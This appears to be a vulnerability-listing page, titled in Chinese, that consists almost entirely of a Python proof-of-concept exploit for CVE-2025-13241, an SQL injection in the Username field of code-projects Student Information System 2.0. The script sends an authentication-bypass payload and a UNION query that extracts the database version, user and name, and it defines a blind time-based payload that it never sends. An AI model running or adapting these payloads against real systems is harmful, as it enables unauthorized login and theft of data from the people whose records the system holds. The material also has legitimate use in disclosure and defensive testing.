CVE-2025-13241 code-projects Student Information System 2.0 SQL注入漏洞

import requests import sys # CVE-2025-13241 SQL Injection PoC # Target: code-projects Student Information System 2.0 # Vulnerability: SQL Injection in /index.php Username parameter def exploit_sqli(target_url): """ SQL Injection exploit for CVE-2025-13241 This PoC demonstrates database information extraction """ target = target_url.rstrip('/') + '/index.php' # Basic authentication bypass payload payload_basic = "' OR '1'='1" # Database enumeration payload (MySQL) payload_db_info = "' UNION SELECT NULL,version(),user(),database()-- -" # Blind boolean injection for data extraction payload_blind = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" print(f"[*] Targeting: {target}") print(f"[*] Vulnerability: SQL Injection in Username parameter") # Test 1: Basic authentication bypass print("\n[+] Test 1: Testing authentication bypass...") data = { 'Username': payload_basic, 'Password': 'any' } try: response = requests.post(target, data=data, timeout=10) if 'dashboard' in response.text.lower() or response.status_code == 302: print("[+] Authentication bypass successful!") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Test 2: Database enumeration print("\n[+] Test 2: Extracting database information...") data = { 'Username': payload_db_info, 'Password': 'any' } try: response = requests.post(target, data=data, timeout=10) if 'root@' in response.text or 'mysql' in response.text.lower(): print("[+] Database info leaked in response!") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Exploitation complete. Check responses for data leakage.") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-site.com") sys.exit(1) exploit_sqli(sys.argv[1])